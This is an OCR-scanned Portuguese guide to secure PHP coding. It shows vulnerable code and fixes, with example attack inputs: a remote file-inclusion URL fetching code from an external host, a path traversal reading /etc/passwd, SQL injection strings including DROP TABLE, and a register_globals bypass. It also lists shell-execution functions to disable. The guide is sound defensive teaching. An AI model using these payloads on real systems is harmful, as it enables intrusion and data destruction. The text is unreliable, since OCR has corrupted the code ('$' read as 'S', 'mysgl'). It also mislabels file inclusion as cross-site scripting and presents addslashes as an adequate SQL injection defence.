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1 - Introducéo

A  linguagem PHP, por ser muito flexivel, normalmente ¢&
utilizada de forma insegura, tanto pelo desenvolvedor quanto pelos
administradores de servidores de hospedagem.

Existem diversas vulnerabilidades conhecidas, a sua grande
maioria é de dominio publico, facilmente encontradas na Internet.
Muitos sites possuem material que ensinam como explorar estas
falhas. E comum vermos em registros de acessos a servidores
publicos, que utilizam PHP, tentativas de explorar estas falhas.

Por tal motivo, este documento serve como um guia para
desenvolvedores e administradores. O intuito deste ¢é criar uma
cultura de desenvolvolvimento seguro.

Passaremos pelos problemas conhecidos enfatizando a forma que
0s mesmos sdo comumente utilizados, explorados e como escrever O
mesmo cbddigo de forma simples e segura e a sua forma ideal.

Note-se também que estas regras de programacdo ndo séo
utilizadas apenas para seguranca, mas para criar sistemas em PHP
que sejam extremamente portdteis entre diversas plataformas e
diferentes estruturas de servidores, desde o mais genérico ao mais
seguro.

1.1 - Convencgdes utilizadas neste documento
As seguintes convencgdes sdo utilizadas neste documento:

Texto plano
Documentacdo normal.

Texto reduzido
Indica segmentos incompletos de cbédigos para exemplo.

Italico
Termos em inglés originais sem traducgéo.

Negrito
Variaveis.

Negrito Italico



Funcdes de programacdao.

Sublinhado
Links para URL's da Internet.

2 - Vulnerabilidades
As vulnerabilidades mais comuns no PHP sédo:

- Cross-site Scripting;

- SQL Injection;

+ Inclusdo de valores em varidveis internas;

- Exposicdo de informacdes do servidor (mensagens de erro);
- Exposicdo de arquivos do sistema e outros do servidor;

- Execucdo de programas no servidor.

Existem diversas outras regras e fungdes que devem ser
desabilitadas em servidores para uma maior seguranca. Estas
configuracdes sdo feitas de forma que, se o desenvolvedor utilizar
uma forma insegura de programagdo e com isso gerar uma falha que
possa ser explorada remotamente; ndo venha a afetar o servidor
e/ou outros sites hospedados no mesmo, e sim, que fique restrito a
drea do site que estd vulneravel.

2.1 - Cross-site Scripting

O PHP possuil uma funcionabilidade extremamente util, que é a
de aceitar URL's (enderecos de paginas, FTP, etc)
transparentemente em suas funcdes que acessam arquivos.

Esta funcionabilidade é conhecida por URL Wrapper'. Ela deve
ser desabilitada, apesar de ser Gtil para desenvolvedores
incluirem uma pagina remota facilmente.

Quando esta funcdo ¢é utilizada de forma incorreta, habilita a
pior das brechas de seguranca que um cédigo em PHP pode possuir.
Ele possibilita que qgqualquer um, remotamente, possa ler quaisquer
arquivos do sistema que o processo do servidor web tenha
permissédo, além de poder executar qualguer script PHP no servidor
onde o cédigo esta hospedado.

Muitas vezes o desenvolvedor, ou por desconhecimento desta
vulnerabilidade, ou por praticidade; utiliza, por exemplo:

1 http://www.php.net/manual/pt_BR/ref.filesystem.php#ini.allow-url-fopen
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<?php
// Inclui o cabecalho da pagina:
include ( “cabecalho.php”) ;

// Inclui a pagina requisitada:
include ( $pagina);

// Inclui o rodapé da pagina:
include ( “rodape.php”) ;
?>

Cédigo 1: Exemplo de cédigo vulneravel a Cross-site Scripting

Externamente, pode-se explorar este cbdbdigo de diversas
formas. Uma delas, com a opg¢do de URL Wrapper habilitada no
servidor, é possivel que seja executado cddigo externo ao servidor
como se fosse local. Para isto, basta acessar o cbdédigo da seguinte
forma:

http://www.seusite.com.br/codigol.php?pagina=http://www.insequro.com.br/cod externo.txt

Isto fard com que o PHP interprete o cbddigo da seguinte forma:

1. Inclui o arquivo “cabecalho.php”;
2. Inclui o arquivo especificado em $pagina;
3. Inclui o arquivo “rodape.php”;

Quando o PHP interpretar o segundo comando, ele wvai incluir o
arquivo indicado em $pagina. Quando o URL Wrapper esta ativo, este
arquivo também poderd ser uma URL de uma pagina externa. Neste
caso, o PHP acessa o servidor remoto; requisita o arquivo e o
processa como se fosse cdéddigo local e legitimo, pois ndo existe
qualquer verificacdo de autenticidade nessa transacgdo.

Outra vulnerabilidade associada a utilizacdo deste comando
como descrito acima (mesmo com o URL Wrapper desabilitado) é a
leitura de qualquer arquivo que o servidor tenha permissdo de
leitura. Por exemplo, o arquivo de senhas de um servidor Unix pode
ser lido da seguinte forma:

http://www.seusite.com.br/codigol.php?pagina=../../../../../../etc/passwd

Explicando: Os diretdérios recursivos servem para retroceder
ao diretdério atual, que é onde o PHP procuraria inicialmente o
arquivo. Com isto, pode-se ler scripts do site, de outros sites,
informac¢cdes internas do servidor, senhas, etc.

Esta vulnerabilidade pode ser facilmente corrigida utilizando
o comando basename ()? na variavel, reescrevendo o cdédigo para:

2 http://www.php.net/manual/pt_BR/function.basename.php
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<?php
// Inclui o cabecalho da pagina:
include ( “cabecalho.php”) ;

// Inclui a pagina requisitada:
include ( basename ( S$pagina));

// Inclui o rodapé da pagina:
include ( “rodape.php”) ;
?>

Cédigo 2: Exemplo de Cross-site Scripting seguro utilizando basename ()

O comando basename() retorna apenas o nome do arquivo
informado no pardmetro, retirando quaisquer informagdes de caminho
para o mesmo.

Este comando possuili uma limitacdo: Caso seja necessaria a
passagem de um diretdério como pardmetro, © mesmo sera
excluido.

Outra conseqiiéncia deste comando é a de que mesmo
restringindo-se para gque ndo seja passado nenhum pardmetro com
diretdério, ainda permite a visualizacgdo/execucdo de scripts e
arquivos textos do diretdédrio atual.

A forma mais correta e segura de se utilizar um include de
arquivos para uma determinada variavel ¢é utilizando o comando
switch()?. O cbdigo ficaria entdo da seguinte forma:

<?php
// Inclui o cabecalho da pagina:
include ( “cabecalho.php”);

// Inclui a pagina requisitada:
switch ( $pagina)
{
case “inicial”:
include “inicial.php”;
break;
case “contato”:
include “contato.php”;
break;
case “clientes”:
include “clientes.php”;
break;
default:
echo “A pagina requisitada ndo pode ser encontrada.”;
break;

}

// Inclui o rodapé da pagina:
include ( “rodape.php”);
?>

Cédigo 3: Exemplo de cédigo ndo vulneravel a Cross-site Scripting

3 http://www.php.net/manual/pt_BR/control-structures.switch.php
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A vantagem de se utilizar o comando switch() é que temos um
maior controle sobre o sistema, limitando o que pode ser executado
ou néo, e também restringindo a exibicdo de paginas em
desenvolvimento ou que ndo se gqueira que sejam expostas.

A desativagdo da funcionabilidade de URL Wrapper no PHP
atinge diversos comandos, ou todos que aceitem um nome de arquivo
como pardmetro para processa-los. Entre estes, estdo: include()?,
include once(), require(), require once(), fopen(), readfile(),
file(), file get contents(), etc...

2.1.1 - Lendo uma pagina remota

Para se ler uma pagina web remota, pode-se wutilizar a
seguinte funcéo:

4 http://www.php.net/manual/pt_BR/function.include.php
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<?php
// Funcdo para acessar uma pagina web e retornar seu conteudo:
function acessa pagina ( $url)
{
// Separa informacdes da URL requisitada:
$req = parse url ( Surl);
// Verifica se o esquema requisitado é HTTP, se ndo for, retorna falso:
if ( Sreg[“scheme”] != “http”)
{
return false;
}
// Verifica se a porta foil especificada, sendo, utiliza a padrdo (80):
if ( empty ( $req[“port”]))
{
Sreg[“port”] = 80;
}
// Conecta ao servidor remoto:
if (! $fp = @fsockopen ( $Sreg[“host”], Sreq[“port”]))
{
return false;

}

// Cria o pedido de requisicdo HTTP da pagina:
Srequest = “GET “ . S$Sreqg[“path”];

if ( ! empty ( $Sreq[“query”]))
{
Srequest .= “?” . Sreq[“query”];
}
Srequest .= “ HTTP/1.0\r\n”;

Srequest .= “Host: “ . S$Sreqg[“host”] . “\r\n\r\n”;
// Envia o pedido:
fwrite ( $fp, Srequest);

// Tratamos o retorno do servidor:
Sconteudo = “7;
Sheaders = true;
while ( ! feof ( $fp))
{
// Lemos 1024 caracters:
Sparcial = fgets ( S$fp, 1024);
if ( Sheaders == true)
{
// Procuramos pela primeira linha em branco, pois sinaliza o final dos
cabecalhos.
// Quando acharmos, setamos o cabecalho para falso, para que comece a transferir

fo)
// contetdo para a variavel S$contetdo.
if ( substr ( $parcial, 0, 1) == chr ( 0x0A) || substr ( S$parcial, 0, 1) == chr (
0x0D) )
{
Sheaders = false;
}
} else {
// Adicionamos o contetdo a variavel:
Sconteudo .= $parcial;
}
}
// Finalizando, fechamos o ponteiro e retornamos o contetdo do site:
fclose ( S$fp);
return S$Sconteudo;
}
>

Cédigo 4: Fungdo para requisigdo de URL



2.2 - SQL Injection

Um problema que afeta praticamente todas linguagens de
programacdo que acessam bancos de dados é a vulnerabilidade de SQL
Injection.

Esta vulnerabilidade, permite gque um usudrio gque acesse um
cdbdigo que contenha uma requisicdo a um banco de dados SQL, insira
quaisquer comando nesta requisicéo.

A vulnerabilidade consiste em aproveitar a estrutura da
linguagem SQL, que utiliza aspas simples para delimitar um
contetido texto. Quando se utiliza diretamente o contetdo de uma
varidvel passada pelo cliente, pode-se adicionar uma aspa, e
continuar os comandos SQL nesta wvariavel. Isso fard com que o SQL
execute o comando inicialmente escrito pelo desenvolvedor; feche a
aspa e depois continue com o cbdédigo malicioso. Ha a possibilidade,
ainda, de wutilizar-se um ponto e virgula, para incluir um novo
comando SQL na mesma execucdo.

Segue um exemplo de cbdédigo vulneréavel:

<?php
// Conecta ao servidor MySQL:
if (! $ID = @mysgl connect ( “localhost”, “usuario”, “senha”))
{
die ( “Erro: N&o foi possivel conectar ao servidor de banco de dados.”);

}

// Seleciona a base de dados:
if (! @mysgl select db ( “base”, $ID))
{
die ( “Erro: N&o foi possivel selecionar a base de dados.”);

}

// Verifica autenticacdo do usuério:

if (! Sresult = @mysgl query ( “SELECT * FROM usuarios WHERE USER = 'Susuario' AND
PASS = 'S$senha'”, $ID))
{

die ( “Erro: Ndo foi possivel realizar a pesquisa no banco de dados.”);

}

// Verifica se o usuario foi autenticado:
if ( mysqgl num rows ( Sresult) == 0)
{
die ( “Erro: Usudrio e/ou senha invalidos.”);

}

// Realiza cdédigo autenticado...
?>

Cédigo 5: Exemplo de cédigo com vulnerabilidade de SQL Injection

Através do cdédigo acima, podemos explorar o mesmo de diversas
maneiras. Como por exemplo:

http://www.seusite.com.br/codigo5.php?usuario=admin’';

Isto fard com que a string de requisicdo ao banco de dados


http://www.seusite.com.br/codigo5.php?usuario

seja alterada para:

SELECT * FROM usuarios WHERE USER = 'admin';' AND PASS = ''

O servidor SQL retornard a primeira linha contendo o usuario
“admin”, e posteriormente descarte a segunda requisicdo por conter
erro, fazendo com que o cliente acesse o sistema sem autenticacéao
como um usudrio administrador.

Pode-se realizar outras requisicdes, inclusive destrutivas na
base de dados, como por exemplo:

http://www.seusite.com.br/codigo5.php?usuario=";DROP TABLE usuarios;

Que faria com que a tabela de usuarios do banco de dados
fosse completamente apagada.

O PHP possui uma funcdo chamada addslashes()°, que recebe como
parédmetro o contetdo ao qual se deseja passar ao SQL, e retorna o
mesmo de forma segura, ou seja, com caracteres gue tornam as aspas
como caracteres literais, ao 1nvés de comandos, através da
utilizacdo de caracteres de escape. Isto faz com que a exploracgao
desta vulnerabilidade seja impossibilitada.

Alguns servidores PHP possuem uma funcionalidade que aplica
automaticamente a traducdo de <caracteres vulneraveis a SQL
Injection (& como se todos os parédmetros recebidos tivessem sido
passados pela funcdo addslashes()). Por este motivo, devemos
verificar se a funcionalidade estd ativa. Podemos wutilizar a
seguinte funcgdo para retornar o valor corrigido, independentemente
da configuracdo do servidor:

<?php
// Adicionamos uma funcdo para verificar se o servidor executou addslashes () de forma
// transparente, sendo executamos:
function checkslashes ( S$valor)
{
if ( ! get magic quotes gpc ())
{
return addslashes ( S$valor);
} else {
return S$valor;
}
}
>

Cédigo 6: Exemplo de cdédigo para utilizagdo correta do addslashes()

Portanto, podemos reescrever o cdédigo vulnerdvel assim:

5 http://www.php.net/manual/pt BR/function.addslashes.php
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<?php
// Conecta ao servidor MySQL:
if (! $ID = @mysgl connect ( “localhost”, “usuario”, “senha”))
{
die ( “Erro: N&o foi possivel conectar ao servidor de banco de dados.”);

}

// Seleciona a base de dados:
if ( ! @mysql select db ( “base”, $ID))
{
die ( “Erro: N&o foi possivel selecionar a base de dados.”);

}

// Verifica autenticacdo do usudrio:

if (! Sresult = @mysgl query ( “SELECT * FROM usuarios WHERE USER = '” . checkslashes
( Susuario) . “' AND PASS = '” . checkslashes ( $senha) . “'”, $ID))
{

die ( “Erro: Ndo foi possivel realizar a pesquisa no banco de dados.”);

}

// Verifica se o usuario foi autenticado:
if ( mysgl num rows ( $Sresult) == 0)
{
die ( “Erro: Usudrio e/ou senha invalidos.”);

}

// Realiza cédigo autenticado...
?>

Cédigo 7: Exemplo de cédigo sem vulnerabilidade de SQL Injection

O cédigo acima utiliza a funcdo checkslashes() documentada no
cébdigo 6, fazendo com que o0s parédmetros informados sejam
verificados e retornados de forma segura.

Podemos wutilizar o comando stripslashes()® para remover os
caracteres adicionados no checkslashes() e no addslashes() no caso
de gquerermos mostrar um valor na forma que foi enviado.

2.3 - Inclusdo de valores em variaveis internas

Uma vulnerabilidade pouco explorada, porém com um grande
potencial que impacta na seguranca de um sistema, é a inclusédo de
varidveis de uso interno do cdédigo.

Esta vulnerabilidade consiste na inclusdo de uma varidvel com
um valor determinado pelo cliente, fazendo com gque o sistema
quando utilize esta variavel assuma o valor informado pelo mesmo.

Por exemplo. Em um sistema de autenticacdo que inclui uma
variavel para verificar posteriormente se o usuario foi
autenticado, como codificado abaixo:

6 http://www.php.net/manual/pt_BR/function.stripslashes.php
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<?php
// Autenticamos o usuario:
if ( Susuario == “teste” && S$senha == “senhateste”)
{
Sautenticado = true;

}
// Segue algum cédigo...

// Agora verificamos se o usudrio foi autenticado, e mostramos as opcdes
administrativas:
if ( Sautenticado)
{
switch ( Sacao)
{
case “exclui”:
exclui usuario ();
break;
case “adiciona”:
adiciona usuario ();
break;
default:
echo “Erro: Comando desconhecido.”;
break;

Cédigo 8: Exemplo de cédigo vulneravel a valores externos

Podemos burlar a autenticacdo acima utilizando:

http://www.seusite.com.br/codigo8.php?autenticado=1

Este comando faria com que o usuario ndo fosse autenticado,
mas teria acesso a fungdes restritas de administracdo, pois o
cdédigo verifica a variadvel $autenticado enviada pelo cliente.

A melhor solucdo ©para este <caso ¢é se desabilitar a
funcionabilidade de register globals’ do servidor, e acessarmos as
informagcdes de variadveis enviadas por clientes de uma forma
segura. Podemos verificar esta op¢do com o comando ini get
( “register globals”)®, como segue o exemplo:

7  http://www.php.net/manual/pt_BR/security.globals.php
8  http://www.php.net/manual/pt_ BR/function.ini-set.php
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<?php
// Verifica se a funcionabilidade “register globals” estd desabilitada (mais seguro):
if ( ini get ( “register globals”) == true)
{

die ( “Erro: Este script ndo pode ser executado de forma insegura. Desative a
funcionabilidade 'register globals' no servidor.”);

}

// Autenticamos o usuario:
if ( $ REQUEST[“usuario”] == “teste” && $_REQUEST[“senha”] == “senhateste”)
{

Sautenticado = true;

}
// Segue algum codigo...

// Agora verificamos se o usudrio foi autenticado, e mostramos as opg¢des
administrativas:
if ( Sautenticado)
{
switch ( $ REQUEST[“acao”])
{
case “exclui”:
exclui usuario ();
break;
case “adiciona”:
adiciona usuario ();
break;
default:
echo “Erro: Comando desconhecido.”;
break;

Cédigo 9: Exemplo de cédigo seguro a valores externos

Nota-se no cbédigo 9 que as varidveis externas estdo sendo
tratadas pela varidvel Super Global’ $ REQUEST', que possui todas
as varidveis e valores passados por um cliente.

Esta variavel leva em consideracdo todos valores passados
pelos modos GET, POST e COOKIE, e que até certa forma ndo podem
ser confidveis. A ordem em que elas sdo processadas para formar
esta Super Global é determinada pela diretiva variable order no
arquivo de configuracdo do PHP no servidor. Esta diretiva tem por
padrdao a ordem de GET, POST e COOKIE.

Caso vocé deseje, também pode acessar estas informacdes
enviadas por cada protocolo especifico, acessando os valores
através das Super Globals $_GET', $ POST'?> e $ COOKIE®.

2.4 - Exposigdo de informacdes do servidor (mensagens de erro)

9  http://www.php.net/manual/pt BR/language.variables.predefined.php#language.variables.superglobals
10 http://www.php.net/manual/pt BR/reserved.variables.php#reserved.variables.request

11 http://www.php.net/manual/pt BR/reserved.variables.php#reserved.variables.get

12 http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.post

13 http://www.php.net/manual/pt BR/reserved.variables.php#reserved.variables.cookies

11


http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.cookies
http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.post
http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.get
http://www.php.net/manual/pt_BR/reserved.variables.php#reserved.variables.request
http://www.php.net/manual/pt_BR/language.variables.predefined.php#language.variables.superglobals

Diversas informacgdes sobre os scripts e sobre a estrutura na
qual foi configurado o servidor podem ser visualizadas através de
simples mensagens de erro, fornecendo informag¢des importantes para
um individuo que estd tentando explorar alguma vulnerabilidade.

Além das mensagens de erro estarem em 1inglés, elas podem

deixar o site com uma aparéncia amadora, por ndo tratar os seus
erros.

Vocé pode utilizar o operador @ (arroba) antes dos comandos,
para evitar dque caso O mesmo retorne um erro, este seja
apresentado ao cliente. Segue um exemplo de cbédigo mostrando erro:

<?php

$id = mysqgl connect ( “localhost”, “usuarioinvalido”, “senha”);
2>

Cédigo 10: Exemplo de cédigo sem tratamento de erros

O cédigo acima, contendo um usuadrio invalido, retornaria a
seguinte mensagem de erro:

Warning: mysql connect () : Can't connect to local MySQL server through socket
'/var/run/mysgl.sock' (2) in /srv/http/www.seudominio.com.br/htdocs/codigol0.php on line 2

Este erro, além de ser ilegivel para um usuario leigo,
disponibiliza informacdes sobre a A&area onde o script estd sendo
hospedado no servidor, assim como estrutura interna do mesmo.

Podemos wutilizar de forma simples, rapida e limpa ©O mesmo
cbébdigo:

<?php
if (! $id = @mysgl connect ( “localhost”, “usuarioinvalido”, “senha”))
{
die ( “Desculpe-nos, ocorreu um erro interno no sistema. Tente novamente mais tarde.
Se o problema persistir, entre em contato com o administrador do sistema.”);

}
2>

Cédigo 11: Exemplo de cédigo com tratamento de erro

0 operador @ utilizado exatamente antes do comando
mysql connect() evita que o comando retorne qualquer mensagem de
erro ao cliente. Ao invés disto, verificamos se a operacdo foi

realizada com sucesso, dentro do if, retornando uma mensagem
amigavel.

2.5 - Exposigdo de arquivos do sistema e outros do servidor
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Outra vulnerabilidade que comumente é esquecida pelos
administradores dos servidores de hospedagem é o fato de que o PHP
pode visualizar todos os arquivos do sistema, incluindo arquivos
de configuracdo, senhas, scripts de outros clientes, etc, que o
servidor web tenha permissdo de leitura.

Esta vulnerabilidade pode e deve ser Dblogqueada para cada
dominio hospedado no servidor pelos administradores. Os dominios
devem ter acesso somente aos seus argquivos.

Esta configuracéo evita que, mesmo quando houver a
possibilidade de haver um script contendo vulnerabilidade de
Cross-site scripting ou existir uma pessoa mal intencionada com
acesso FTP a &rea de hospedagem, sejam expostos os arquivos do
sistema.

2.6 - Execugdo de programas no servidor

Deve-se também desabilitar nos servidores PHP diversas
fungdes. A maioria ligada diretamente a execugdo de programas no
servidor, além das fungdes gue manipulam processos internos e a
membédria do mesmo.

As funcdes que devem ser desabilitadas sao: exec (),
passthru(), popen(), pclose(), proc _close(), proc_get status(),
proc_nice(), proc open(), proc_terminate(), shell exec(), system()
e phpinfo().

Deve-se também desabilitar as seguintes classes de comandos:
sysvshm, sysvsem, sockets, shmop, gtdom, posix, dio, crack.

3 - Maior portabilidade

Deve-se procurar sempre dque possivel utilizar variéaveis
padrdes para recuperar informagcdes sobre o sistema e sobre os
arquivos no servidor. Utilizando as variadveis padrdes, obtemos uma
maior portabilidade do sistema desenvolvido. Algumas variaveis
importantes séo:

> $_SERVER[“PHP_SELF”]: Url do script que foi executado. Util
para se referenciar um formuladrio para o préprio script,
fazendo com que se o mesmo for renomeado, ndo necessite ser
alterado internamente, alem de evitar erros de programacdo;

> $ SERVER[“DOCUMENT ROOT”]: Retorna o diretério raiz da sua
area de hospedagem;

> $_SERVER[“REMOTE ADDR”]: IP do cliente que requisitou a
pagina;

> $_SERVER[“REMOTE HOST”]: Endereco do cliente que requisitou
a pagina;
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Vocé deve sempre procurar utilizar as Super Globals, que sdao
variadveils internas do PHP contendo diversas informacdes sobre o
sistema e o seu cdédigo.

Sempre desenvolva utilizando $_REQUEST, $_GET, $_POST,
$_COOKIE, pois estas sdo padrdo em qualquer sistema. E quando vocé
portar seu cdbédigo para um servidor seguro, © mesmo ndo 1iréa
necessitar de grandes alteracdes.
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